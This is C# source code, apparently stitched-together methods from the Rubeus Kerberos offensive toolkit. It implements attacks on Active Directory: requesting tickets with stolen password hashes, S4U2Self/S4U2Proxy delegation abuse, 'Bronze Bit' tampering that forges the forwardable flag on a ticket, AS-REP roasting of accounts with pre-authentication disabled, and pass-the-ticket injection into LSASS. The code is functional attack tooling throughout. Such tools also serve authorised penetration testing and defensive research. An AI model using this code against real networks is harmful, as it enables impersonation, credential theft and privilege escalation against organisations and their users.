req.req_body.sname.name_string.Add(targetDomain); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; return(req.Encode().Encode()); }
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0) { Console.WriteLine("[*] Action: Ask TGT\r\n"); Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if (luid != 0) { Console.WriteLine("[*] Target LUID : {0}", luid); } string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (null == response) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; switch (responseTag) { case 11: Console.WriteLine("[+] TGT request successful!"); // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype); return(null); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.Tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.EncryptedPart.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); Helpers.DisplayKerberosTicket(kirbiBytes); if (ptt || (0 != luid)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } return(kirbiBytes); case 30: Helpers.DisplayKerberosError(responseAsn); return(null); default: Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); return(null); } }
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; if (bronzebit && !String.IsNullOrEmpty(keyString)) { Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); info.flags |= Interop.TicketFlags.forwardable; // get user longterm key from keyString byte[] key = Helpers.StringToByteArray(keyString); // decrypt and decode ticket encpart var decTicketPart = rep.ticket.Decrypt(key, null, true); // modify flags decTicketPart.flags |= Interop.TicketFlags.forwardable; // encode and encrypt ticket encpart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno); Console.WriteLine("[*] Flags changed to: {0}", info.flags); } // add the ticket cred.tickets.Add(rep.ticket); // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we want to use the s4u2self change the sname here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt && self) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } return(cred); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype) { // include an AP-REQ, so PA-DATA for a TGS-REQ type = Interop.PADATA_TYPE.AP_REQ; // build the AP-REQ AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype); value = ap_req; }
// to perform the 2 S4U2Proxy requests private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false) { string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; if (cross) { s4u2proxyReq.req_body.realm = targetDomain; } else { s4u2proxyReq.req_body.realm = domain; } string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (ptt && cross) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false) { string dcIP = Networking.GetDCIP(domainController, true, domain); if (String.IsNullOrEmpty(dcIP)) { return(false); } AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, etype, true); byte[] reqBytes = NoPreAuthASREQ.Encode().Encode(); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (response == null) { return(false); } // decode the supplied bytes to an AsnElt object AsnElt responseAsn = AsnElt.Decode(response); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) { Console.WriteLine("[-] AS-REQ w/o preauth successful! {0} has pre-authentication disabled!", userName); byte[] kirbiBytes = HandleASREP(responseAsn, etype, keyString, outfile, ptt, luid, describe, verbose); return(true); } return(false); }